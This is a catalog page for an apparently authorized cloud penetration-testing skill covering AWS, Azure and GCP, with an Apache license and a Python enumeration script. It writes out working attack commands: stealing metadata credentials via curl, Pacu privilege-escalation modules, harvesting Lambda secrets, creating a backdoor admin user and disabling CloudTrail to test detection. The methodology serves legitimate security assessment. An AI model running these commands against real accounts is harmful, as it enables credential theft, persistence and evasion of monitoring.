
Conducting Cloud Penetration Testing
- 193 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
conducting-cloud-penetration-testing is a Claude Code security skill for authorized penetration testing of AWS, Azure, and GCP, covering IAM misconfigurations and SSRF to cloud metadata.
About
This skill provides a methodology for authorized penetration testing of AWS, Azure, and GCP environments. It defines scope using the shared responsibility model, enumerates the attack surface with ScoutSuite, Prowler, and CloudFox, exploits IAM misconfigurations with Pacu, and tests SSRF against cloud metadata services to steal role credentials. A security tester uses it for authorized cloud assessments, migration validation, or compliance-mandated testing. Findings are classified against the MITRE ATT&CK Cloud matrix.
- Authorized pentesting of AWS, Azure, and GCP
- Enumerates with ScoutSuite, Prowler, and CloudFox
- Exploits IAM misconfigurations with Pacu
- Tests SSRF to IMDS to steal IAM role credentials
- Classifies findings against MITRE ATT&CK Cloud
Conducting Cloud Penetration Testing by the numbers
- 193 all-time installs (skills.sh)
- +13 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #787 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
conducting-cloud-penetration-testing capabilities & compatibility
Free skill; requires open-source cloud offensive tools (Pacu, ScoutSuite, Prowler, CloudFox).
- Capabilities
- cloud penetration testing · iam privilege escalation testing · ssrf metadata testing · cloud enumeration
- Works with
- aws · azure · gcp
- Use cases
- security audit · testing · devops
- Pricing
- Free
What conducting-cloud-penetration-testing says it does
methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments
testing for SSRF to cloud metadata services
Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-cloud-penetration-testingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 193 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
Can an attacker escalate IAM privileges or reach cloud metadata credentials in this AWS, Azure, or GCP environment?
Authorized penetration testing of AWS, Azure, and GCP for IAM misconfig, SSRF to metadata, and lateral movement.
Who is it for?
Security testers running authorized cloud assessments against AWS, Azure, or GCP for IAM and SSRF exposure.
Skip if: Unauthorized testing, testing cloud provider infrastructure itself, or DDoS simulation without provider approval.
When should I use this skill?
When performing authorized security assessments of cloud environments, validating controls after migration, or meeting compliance-mandated cloud pentesting.
What you get
A scoped set of exploited cloud misconfigurations and privilege-escalation paths classified against the ATT&CK Cloud matrix.
- Scope and rules-of-engagement document
- Enumerated cloud attack surface and IAM findings
- Exploited privilege-escalation paths mapped to ATT&CK Cloud
By the numbers
- Covers AWS, Azure, and GCP
- 4 MITRE ATT&CK Cloud techniques (T1078.004, T1580, T1530, T1538)
Files
Conducting Cloud Penetration Testing
When to Use
- When performing authorized security assessments of cloud environments before production deployment
- When validating cloud security controls after a major architectural change or migration
- When compliance requirements mandate annual penetration testing of cloud infrastructure
- When testing incident response readiness by simulating realistic cloud-based attack scenarios
- When assessing lateral movement risk across multi-account or multi-cloud environments
Do not use for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.
Prerequisites
- Written authorization from the cloud account owner and scope definition document
- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)
- Isolated testing account or explicitly scoped production account with breakglass procedures
- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
- MITRE ATT&CK Cloud matrix for finding classification
Workflow
Step 1: Define Scope and Rules of Engagement
Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.
Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20
IN SCOPE:
- IAM users, roles, policies, and cross-account trust
- EC2 instances, security groups, and network ACLs
- S3 bucket policies and data access controls
- Lambda functions, API Gateway endpoints
- RDS/DynamoDB access controls and encryption
- EKS cluster RBAC and network policies
- CloudTrail, Config, and monitoring gaps
OUT OF SCOPE:
- AWS managed service internals (RDS engine, Lambda runtime)
- DDoS attacks or volumetric testing
- Physical infrastructure or hypervisor attacks
- Social engineering of AWS support
EMERGENCY CONTACT: security-ops@company.com, +1-555-0199Step 2: Reconnaissance and Cloud Enumeration
Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.
# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report
# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account
# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks
# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done
# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
--output tableStep 3: IAM Privilege Escalation Testing
Use Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access.
# Initialize Pacu session
pacu
# Set stolen or test credentials
set_keys --key-alias test-creds
# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
# Check for privilege escalation paths
run iam__privesc_scan
# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA conditionStep 4: SSRF to Cloud Metadata Service Exploitation
Test web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials.
# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS equivalent
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP metadata service
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"Step 5: Lateral Movement and Data Access
Test cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities.
# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table
# Test cross-account assumption
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize
# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables' --output json 2>/dev/null
doneStep 6: Persistence and Detection Evasion Testing
Test whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling.
# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail
# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?
# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trailStep 7: Report Findings with MITRE ATT&CK Mapping
Document all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance.
Key Concepts
| Term | Definition |
|---|---|
| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls |
| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access |
| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account |
| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers |
| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence |
| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings |
| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration |
Tools & Systems
- Pacu: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing
- ScoutSuite: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection
- CloudFox: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities
- Prowler: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP
- Cartography: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis
Common Scenarios
Scenario: SSRF in Web Application Leads to Full Account Compromise
Context: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions.
Approach: 1. Exploit the SSRF to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> 2. Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken) 3. Use the credentials to enumerate accessible S3 buckets and download sensitive data 4. Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin 5. Document the full attack chain from SSRF to account-level compromise 6. Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier
Pitfalls: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement.
Output Format
Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement
EXECUTIVE SUMMARY:
Starting with read-only developer credentials, the assessment achieved
full administrative access to the production account within 3 hours through
an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.
CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
Severity: CRITICAL
Starting Point: Developer role with iam:CreatePolicyVersion permission
Impact: Full administrative access to all account resources
Evidence: Created policy version granting iam:* and s3:* to test role
Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary
[PT-002] SSRF to IMDS Credential Theft
ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
Severity: CRITICAL
Starting Point: Web application URL parameter vulnerable to SSRF
Impact: Extracted IAM role credentials with S3 and Lambda access
Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope
FINDING SUMMARY BY MITRE ATT&CK TACTIC:
Initial Access: 4 findings
Execution: 3 findings
Persistence: 6 findings
Privilege Escalation: 8 findings (3 Critical)
Defense Evasion: 5 findings
Credential Access: 7 findings
Discovery: 14 findings
Total: 47 findings
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Cloud Penetration Testing Agent
Overview
Enumerates AWS IAM users, roles, cross-account trusts, IMDSv1 instances, public S3 buckets, and Lambda secrets to identify privilege escalation paths and misconfigurations. For authorized penetration testing only.
Dependencies
| Package | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP API calls |
| AWS CLI | >=2.0 | AWS service enumeration (subprocess) |
CLI Usage
python agent.py --profile target-account --output pentest_report.jsonKey Functions
enumerate_iam_users()
Lists all IAM users with username, ARN, and creation date via aws iam list-users.
enumerate_iam_roles()
Lists IAM roles and identifies cross-account trust relationships by inspecting AssumeRolePolicyDocument principals.
check_imds_v1_instances()
Identifies running EC2 instances with IMDSv1 enabled (HttpTokens: optional), vulnerable to SSRF credential theft.
check_public_s3_buckets()
Enumerates S3 buckets and checks each for public policy status via get-bucket-policy-status.
check_lambda_env_secrets()
Inspects Lambda function environment variables for sensitive keys (password, secret, token, api_key).
test_privesc_create_policy_version(policy_arn)
Tests if a policy allows iam:CreatePolicyVersion permission which enables privilege escalation.
AWS CLI Commands Used
| Command | Purpose |
|---|---|
aws iam list-users | Enumerate IAM users |
aws iam list-roles | Enumerate roles and trust policies |
aws ec2 describe-instances | Check IMDS configuration |
aws s3api list-buckets | List S3 buckets |
aws s3api get-bucket-policy-status | Check public access |
aws lambda list-functions | Enumerate Lambda functions |
aws lambda get-function-configuration | Inspect env vars |
aws iam simulate-principal-policy | Test IAM permissions |
MITRE ATT&CK Cloud Mapping
| Technique | ID | Function |
|---|---|---|
| Cloud Account Discovery | T1087.004 | enumerate_iam_users |
| Steal Application Access Token | T1528 | check_lambda_env_secrets |
| Unsecured Credentials: Cloud Instance Metadata | T1552.005 | check_imds_v1_instances |
| Valid Accounts: Cloud Accounts | T1078.004 | enumerate_iam_roles |
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""Cloud Penetration Testing Agent - Enumerates and tests AWS IAM misconfigurations."""
import json
import logging
import argparse
import subprocess
from datetime import datetime
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def enumerate_iam_users():
"""Enumerate all IAM users in the AWS account."""
cmd = ["aws", "iam", "list-users", "--output", "json"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode == 0:
users = json.loads(result.stdout).get("Users", [])
logger.info("Enumerated %d IAM users", len(users))
return [{"username": u["UserName"], "arn": u["Arn"], "created": u["CreateDate"]} for u in users]
return []
def enumerate_iam_roles():
"""Enumerate IAM roles and identify cross-account trust relationships."""
cmd = ["aws", "iam", "list-roles", "--output", "json"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode == 0:
roles = json.loads(result.stdout).get("Roles", [])
cross_account = []
for role in roles:
policy_doc = role.get("AssumeRolePolicyDocument", {})
for statement in policy_doc.get("Statement", []):
principal = statement.get("Principal", {})
aws_principal = principal.get("AWS", "")
if isinstance(aws_principal, str) and ":root" in aws_principal:
cross_account.append({
"role": role["RoleName"],
"arn": role["Arn"],
"trusted_account": aws_principal,
})
logger.info("Found %d cross-account trust roles", len(cross_account))
return cross_account
return []
def check_imds_v1_instances():
"""Check for EC2 instances running with IMDSv1 (vulnerable to SSRF)."""
cmd = [
"aws", "ec2", "describe-instances",
"--query", "Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens,State.Name]",
"--output", "json",
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode == 0:
instances = json.loads(result.stdout)
vulnerable = []
for reservation in instances:
for inst in reservation:
if inst[1] == "optional" and inst[2] == "running":
vulnerable.append({"instance_id": inst[0], "imds": "v1 (optional)", "state": inst[2]})
logger.info("Found %d instances with IMDSv1 enabled", len(vulnerable))
return vulnerable
return []
def check_public_s3_buckets():
"""Enumerate S3 buckets and check for public access."""
cmd = ["aws", "s3api", "list-buckets", "--query", "Buckets[*].Name", "--output", "text"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode != 0:
return []
buckets = result.stdout.strip().split()
public_buckets = []
for bucket in buckets:
status_cmd = ["aws", "s3api", "get-bucket-policy-status", "--bucket", bucket, "--output", "json"]
r = subprocess.run(status_cmd, capture_output=True, text=True, timeout=120)
if r.returncode == 0:
policy_status = json.loads(r.stdout)
if policy_status.get("PolicyStatus", {}).get("IsPublic", False):
public_buckets.append(bucket)
logger.warning("PUBLIC bucket found: %s", bucket)
return public_buckets
def check_lambda_env_secrets():
"""Check Lambda functions for secrets in environment variables."""
cmd = ["aws", "lambda", "list-functions", "--query", "Functions[*].FunctionName", "--output", "text"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode != 0:
return []
functions = result.stdout.strip().split()
findings = []
sensitive_keys = ["password", "secret", "key", "token", "api_key", "database_url", "connection_string"]
for fn in functions:
env_cmd = [
"aws", "lambda", "get-function-configuration",
"--function-name", fn,
"--query", "Environment.Variables",
"--output", "json",
]
r = subprocess.run(env_cmd, capture_output=True, text=True, timeout=120)
if r.returncode == 0 and r.stdout.strip() != "null":
env_vars = json.loads(r.stdout)
exposed = [k for k in env_vars if any(s in k.lower() for s in sensitive_keys)]
if exposed:
findings.append({"function": fn, "exposed_keys": exposed})
logger.warning("Lambda %s has sensitive env vars: %s", fn, exposed)
return findings
def test_privesc_create_policy_version(policy_arn):
"""Test if iam:CreatePolicyVersion can be used for privilege escalation."""
cmd = [
"aws", "iam", "simulate-principal-policy",
"--policy-source-arn", policy_arn,
"--action-names", "iam:CreatePolicyVersion",
"--output", "json",
]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if result.returncode == 0:
eval_results = json.loads(result.stdout).get("EvaluationResults", [])
for er in eval_results:
if er.get("EvalDecision") == "allowed":
logger.warning("Privesc possible: %s has iam:CreatePolicyVersion", policy_arn)
return True
return False
def generate_report(users, cross_account_roles, imdsv1_instances, public_buckets, lambda_secrets):
"""Generate cloud penetration test findings report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"iam_users": len(users),
"cross_account_trusts": cross_account_roles,
"imdsv1_vulnerable_instances": imdsv1_instances,
"public_s3_buckets": public_buckets,
"lambda_env_secrets": lambda_secrets,
"finding_count": (
len(cross_account_roles) + len(imdsv1_instances) +
len(public_buckets) + len(lambda_secrets)
),
}
print(json.dumps(report, indent=2))
return report
def main():
parser = argparse.ArgumentParser(description="Cloud Penetration Testing Agent")
parser.add_argument("--profile", default="default", help="AWS CLI profile")
parser.add_argument("--output", default="cloud_pentest_report.json")
args = parser.parse_args()
users = enumerate_iam_users()
cross_account = enumerate_iam_roles()
imdsv1 = check_imds_v1_instances()
public_buckets = check_public_s3_buckets()
lambda_secrets = check_lambda_env_secrets()
report = generate_report(users, cross_account, imdsv1, public_buckets, lambda_secrets)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Cloud pentest report saved to %s", args.output)
if __name__ == "__main__":
main()
Related skills
FAQ
Which clouds and tools does it cover?
AWS, Azure, and GCP, using Pacu, ScoutSuite, Prowler, and CloudFox for enumeration and IAM privilege-escalation testing.
What does it explicitly forbid?
Unauthorized testing, testing cloud provider infrastructure itself (per the shared responsibility model), and DDoS simulation without explicit provider approval.
How does it test metadata SSRF?
By reaching the instance metadata service at 169.254.169.254 to steal IAM role credentials, distinguishing IMDSv1 from token-protected IMDSv2.